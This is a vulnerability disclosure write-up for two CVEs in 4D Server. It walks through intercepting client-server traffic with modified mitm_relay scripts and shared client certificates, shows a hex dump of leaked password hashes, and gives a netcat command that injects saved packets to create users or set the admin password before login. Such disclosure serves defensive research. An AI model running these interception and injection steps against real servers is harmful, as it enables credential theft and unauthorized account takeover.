Information disclosure and broken authentication in 4D SAS 4D Server


Today we have a twofer, two vulnerabilities in one package! Vulnerabilities can be found in 4D Server, and both were found by our intrepid hacker, Karlo Dautović.

UPDATE: Official CVEs (Common Vulnerabilities and Exposures) have been assigned; information disclosure is hiding under CVE-2023-30222, and broken authentication under CVE-2023-30223.

If you want to reproduce them, Karlo has prepared all the necessary files in one package.

The first one, an information disclosure, can be used to retrieve password hashes for all users via eavesdropping, and the second one, a broken authentication, can be used to send crafted TCP packets containing requests to perform arbitrary actions.

But how do they work? Well, Karlo explains it like this:

You can use 4D trial version software to exploit these vulnerabilities, alongside Burp Suite and three modified mitm_relay scripts, mitm_relay1.py, mitm_relay2.py, and mitm_relay3.py (for more on mitm_relay check out jrmdev GitHub page). The scripts relay the app's network traffic through Burp Suite listening with a proxy server on localhost:8080.
The scripts were modified to not listen to the same port and to add a way to insert packets into the TCP stream between the app and the server (script - mitm_relay3.py). For each connection made to the port specified in the script, a new UDP port was opened (from 5555 ascending) and then every UDP package sent to the port was injected into the TCP connection and sent to the server.

The attack was conduced using three different VMs; one Kali Linux (for Burp Suite and modified mitm_relay scripts) and two Windows machines (for 4D client and 4D server).
The app uses three ports, 19812, 19813, and 19814; port 19812 doesn't use SSL (even when enabled), 19813 does (plus client certificates), as well as 19814. But the client certificates are the same for all installations of 4D (included in the trial version) – as verified by the audit.
All three client certificates locations are as follows (they are all identical):
4D v18 R5/
├── 4D
│ └── Resources
│ ├── cert.pem
│ └── key.pem
├── 4D Server
│ └── Resources
│ ├── cert.pem
│ └── key.pem
└── 4D Volume Desktop
└── Resources
├── cert.pem
└── key.pem

By using a script (gen_certs.sh), Karlo created dummy SSL certificates and then used the mitm_relay to present itself as an SSL server to the app.
By starting Burp Suite, and three scripts, 4D client app is routed to the Kali Linux machine, and then to the 4D server. When the client connects, all traffic between the server and the client is visible in Burp Suite and the console output of mitm_relay.
The commands looked like this:
./mitm_relay1.py -r 19812:192.168.1.16:19812 -p http://127.0.0.1:8080
./mitm_relay3.py -r 19813:192.168.1.16:19813 -p http://127.0.0.1:8080 -c server.pem -k private.key -cc cert.pem -ck key.pem
./mitm_relay2.py -r 19814:192.168.1.16:19814 -p http://127.0.0.1:8080 -c server.pem -k private.key
(192.168.1.16 was the IP address of the 4D server during the penetration test)

At some point, the server sends all the users and their respective password hashes to the application, indicating that the login is handled on the client side (which is confirmed later, with the second vulnerability). This packet, containing the password hashes, is visible both within Burp Suite and within mitm_relay.

Burp Suite:


mitm_relay (with TLS turned on – mitm_relay is presenting dummy SSL certificates to the client, which accepts it without question):
S >> C [ 192.168.1.16:19813 >> 192.168.1.14:1169 ] [ Thu 22 Apr 04:45:03 ] [ 1096 ]
00000001: 00 00 42 04 00 00 E1 FD FF FF 7B 00 22 00 72 00 |..B.......{.".r.|
00000001: 65 00 62 00 6F 00 6F 00 74 00 22 00 3A 00 74 00 |e.b.o.o.t.".:.t.|
00000001: 72 00 75 00 65 00 2C 00 22 00 75 00 73 00 65 00 |r.u.e.,.".u.s.e.|
00000001: 72 00 73 00 22 00 3A 00 7B 00 22 00 64 00 65 00 |r.s.".:.{.".d.e.|
00000001: 73 00 69 00 67 00 6E 00 65 00 72 00 22 00 3A 00 |s.i.g.n.e.r.".:.|
00000001: 7B 00 22 00 70 00 61 00 73 00 73 00 77 00 6F 00 |{.".p.a.s.s.w.o.|
00000001: 72 00 64 00 22 00 3A 00 22 00 69 00 71 00 66 00 |r.d.".:.".i.q.f.|
00000001: 6F 00 45 00 4B 00 72 00 33 00 63 00 53 00 77 00 |o.E.K.r.3.c.S.w.|
00000001: 54 00 66 00 73 00 6E 00 2B 00 34 00 71 00 48 00 |T.f.s.n.+.4.q.H.|
00000001: 62 00 30 00 51 00 3D 00 3D 00 22 00 2C 00 22 00 |b.0.Q.=.=.".,.".|
00000001: 61 00 6C 00 69 00 61 00 73 00 22 00 3A 00 22 00 |a.l.i.a.s.".:.".|
00000001: 44 00 65 00 73 00 69 00 67 00 6E 00 65 00 72 00 |D.e.s.i.g.n.e.r.|
00000001: 22 00 7D 00 2C 00 22 00 61 00 64 00 6D 00 69 00 |".}.,.".a.d.m.i.|
00000001: 6E 00 69 00 73 00 74 00 72 00 61 00 74 00 6F 00 |n.i.s.t.r.a.t.o.|
00000001: 72 00 22 00 3A 00 7B 00 22 00 61 00 6C 00 69 00 |r.".:.{.".a.l.i.|
00000001: 61 00 73 00 22 00 3A 00 22 00 41 00 64 00 6D 00 |a.s.".:.".A.d.m.|
00000001: 69 00 6E 00 69 00 73 00 74 00 72 00 61 00 74 00 |i.n.i.s.t.r.a.t.|
00000001: 6F 00 72 00 22 00 7D 00 2C 00 22 00 4E 00 65 00 |o.r.".}.,.".N.e.|
00000001: 77 00 20 00 75 00 73 00 65 00 72 00 22 00 3A 00 |w. .u.s.e.r.".:.|
00000001: 7B 00 22 00 70 00 61 00 73 00 73 00 77 00 6F 00 |{.".p.a.s.s.w.o.|
00000001: 72 00 64 00 22 00 3A 00 22 00 37 00 79 00 30 00 |r.d.".:.".7.y.0.|
00000001: 6C 00 63 00 76 00 43 00 37 00 51 00 39 00 55 00 |l.c.v.C.7.Q.9.U.|
00000001: 48 00 42 00 68 00 37 00 4A 00 64 00 76 00 41 00 |H.B.h.7.J.d.v.A.|
00000001: 39 00 67 00 77 00 3D 00 3D 00 22 00 7D 00 2C 00 |9.g.w.=.=.".}.,.|
00000001: 22 00 54 00 65 00 77 00 20 00 75 00 73 00 65 00 |".T.e.w. .u.s.e.|
00000001: 72 00 22 00 3A 00 7B 00 22 00 70 00 61 00 73 00 |r.".:.{.".p.a.s.|
00000001: 73 00 77 00 6F 00 72 00 64 00 22 00 3A 00 22 00 |s.w.o.r.d.".:.".|
00000001: 69 00 71 00 66 00 6F 00 45 00 4B 00 72 00 33 00 |i.q.f.o.E.K.r.3.|
00000001: 63 00 53 00 77 00 54 00 66 00 73 00 6E 00 2B 00 |c.S.w.T.f.s.n.+.|
00000001: 34 00 71 00 48 00 62 00 30 00 51 00 3D 00 3D 00 |4.q.H.b.0.Q.=.=.|
00000001: 22 00 7D 00 7D 00 2C 00 22 00 73 00 71 00 6C 00 |".}.}.,.".s.q.l.|
00000001: 53 00 63 00 68 00 65 00 6D 00 61 00 47 00 72 00 |S.c.h.e.m.a.G.r.|
00000001: 61 00 6E 00 74 00 65 00 72 00 73 00 22 00 3A 00 |a.n.t.e.r.s.".:.|
00000001: 7B 00 22 00 44 00 45 00 46 00 41 00 55 00 4C 00 |{.".D.E.F.A.U.L.|
00000001: 54 00 5F 00 53 00 43 00 48 00 45 00 4D 00 41 00 |T._.S.C.H.E.M.A.|
00000001: 22 00 3A 00 7B 00 22 00 72 00 65 00 61 00 64 00 |".:.{.".r.e.a.d.|
00000001: 4F 00 6E 00 6C 00 79 00 41 00 63 00 63 00 65 00 |O.n.l.y.A.c.c.e.|
00000001: 73 00 73 00 47 00 72 00 6F 00 75 00 70 00 22 00 |s.s.G.r.o.u.p.".|
00000001: 3A 00 22 00 2A 00 22 00 2C 00 22 00 72 00 65 00 |:.".*.".,.".r.e.|
00000001: 61 00 64 00 57 00 72 00 69 00 74 00 65 00 41 00 |a.d.W.r.i.t.e.A.|
00000001: 63 00 63 00 65 00 73 00 73 00 47 00 72 00 6F 00 |c.c.e.s.s.G.r.o.|
00000001: 75 00 70 00 22 00 3A 00 22 00 2A 00 22 00 2C 00 |u.p.".:.".*.".,.|
00000001: 22 00 61 00 6C 00 6C 00 41 00 63 00 63 00 65 00 |".a.l.l.A.c.c.e.|
00000001: 73 00 73 00 47 00 72 00 6F 00 75 00 70 00 22 00 |s.s.G.r.o.u.p.".|
00000001: 3A 00 22 00 22 00 7D 00 7D 00 2C 00 22 00 73 00 |:.".".}.}.,.".s.|
00000001: 65 00 74 00 74 00 69 00 6E 00 67 00 73 00 22 00 |e.t.t.i.n.g.s.".|
00000001: 3A 00 7B 00 22 00 6C 00 6F 00 63 00 61 00 6C 00 |:.{.".l.o.c.a.l.|
00000001: 47 00 65 00 6E 00 65 00 72 00 69 00 63 00 57 00 |G.e.n.e.r.i.c.W.|
00000001: 65 00 62 00 55 00 73 00 65 00 72 00 22 00 3A 00 |e.b.U.s.e.r.".:.|
00000001: 22 00 44 00 65 00 73 00 69 00 67 00 6E 00 65 00 |".D.e.s.i.g.n.e.|
00000001: 72 00 22 00 2C 00 22 00 64 00 65 00 73 00 69 00 |r.".,.".d.e.s.i.|
00000001: 67 00 6E 00 41 00 63 00 63 00 65 00 73 00 73 00 |g.n.A.c.c.e.s.s.|
00000001: 47 00 72 00 6F 00 75 00 70 00 22 00 3A 00 22 00 |G.r.o.u.p.".:.".|
00000001: 2A 00 22 00 2C 00 22 00 6C 00 6F 00 63 00 61 00 |*.".,.".l.o.c.a.|
00000001: 6C 00 4D 00 6F 00 62 00 69 00 6C 00 65 00 41 00 |l.M.o.b.i.l.e.A.|
00000001: 63 00 63 00 65 00 73 00 73 00 47 00 72 00 6F 00 |c.c.e.s.s.G.r.o.|
00000001: 75 00 70 00 52 00 57 00 22 00 3A 00 22 00 2A 00 |u.p.R.W.".:.".*.|
00000001: 22 00 2C 00 22 00 72 00 65 00 6D 00 6F 00 74 00 |".,.".r.e.m.o.t.|
00000001: 65 00 4D 00 6F 00 62 00 69 00 6C 00 65 00 41 00 |e.M.o.b.i.l.e.A.|
00000001: 63 00 63 00 65 00 73 00 73 00 47 00 72 00 6F 00 |c.c.e.s.s.G.r.o.|
00000001: 75 00 70 00 52 00 57 00 22 00 3A 00 22 00 2A 00 |u.p.R.W.".:.".*.|
00000001: 22 00 2C 00 22 00 72 00 65 00 6D 00 6F 00 74 00 |".,.".r.e.m.o.t.|
00000001: 65 00 47 00 65 00 6E 00 65 00 72 00 69 00 63 00 |e.G.e.n.e.r.i.c.|
00000001: 57 00 65 00 62 00 55 00 73 00 65 00 72 00 22 00 |W.e.b.U.s.e.r.".|
00000001: 3A 00 22 00 44 00 65 00 73 00 69 00 67 00 6E 00 |:.".D.e.s.i.g.n.|
00000001: 65 00 72 00 22 00 2C 00 22 00 72 00 65 00 6D 00 |e.r.".,.".r.e.m.|
00000001: 6F 00 74 00 65 00 44 00 65 00 66 00 61 00 75 00 |o.t.e.D.e.f.a.u.|
00000001: 6C 00 74 00 55 00 73 00 65 00 72 00 22 00 3A 00 |l.t.U.s.e.r.".:.|
00000001: 22 00 22 00 7D 00 7D 00 |".".}.}.|

And now for the second vulnerability!

This one involves injecting packets into the TCP connection between the server and the client before login is done. This, along with the server sending all password hashes to the client, indicates that the application uses client-side authentication.

We're injecting packets with the beforementioned script (that one that opens UDP ports) – to successfully inject a package it needs to be sent to the localhost port that was opened last.
Several packets were saved which can be used with 4D v18 R5 servers.
In order to inject them, they can be sent using the following command to the local UDP port:
cat create-user | nc -u 127.0.0.1 5556
5556 needs to be changed to match the last opened UDP port. This can be seen using the following command:
$ ss -ulnp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
UNCONN 0 0 0.0.0.0:5561 0.0.0.0:* users:(("python3",pid=10668,fd=16))

The most notable examples of the vulnerability would be changing the user's password, resetting it, or creating a new user.

Demonstrating this is easy. This is the state of the Administrator user before doing anything (notice the lack of a password):


Now, after sending the set-admin-password packet, closing the application, and restarting it, it's possible to see that the password is now set:


And to create a new user, the create-user packet was sent, and the application restarted. When the application connects to the server, the new user was successfully added:


It's worth noting that the application needs to be restarted every time packets are injected, otherwise, the changes are not visible in the client application.
Additionally, this was originally tested on 4D v18 R5, but was later confirmed to be working on both 4D v17, and 4D v19 R7, however, the packets are different and need to be captured again for each version.

The packets were captured using a trial version of 4D, locally, in an attacker-controlled environment. The captured packets were then tested using the attacker's copy of 4D, mitm_relay, and Burp Suite, on a production server running 4D, and it was confirmed that it works. So, in order to exploit this, an attacker can replicate everything they want to do locally, capture the traffic, and then connect to a server that they want to exploit and inject the packets into the connection.

All of this works before the user even logs into the application, as mentioned.